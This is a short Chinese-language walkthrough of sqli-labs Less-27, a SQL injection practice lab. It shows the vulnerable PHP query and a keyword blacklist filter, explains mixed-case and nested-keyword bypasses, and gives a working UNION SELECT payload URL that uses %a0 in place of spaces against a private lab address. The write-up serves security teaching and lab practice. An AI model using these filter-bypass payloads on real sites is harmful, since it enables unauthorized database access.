Less-27
从提示界面中我们可以看出这一小节对union、select进行了绕过,那么我们下面来看看源代码吧:
SQL语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
过滤机制:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
从SQL语句中我们可以发现id参数被单引号包裹,我们如果要构造SQL语句就需要闭合前面的单引号,同时在过滤机制中我们发最常用的select、union也被过滤了,那么我们现在来看看如何绕过:
大小写:Union\SelecT等等
绕过的字符串组合:UNinUNIONon
下面做一个简单的测试:
payload:http://192.168.11.136/sqli-labs/Less-27?id=-1'unIon%a0SelEcT%a01,database(),3||'1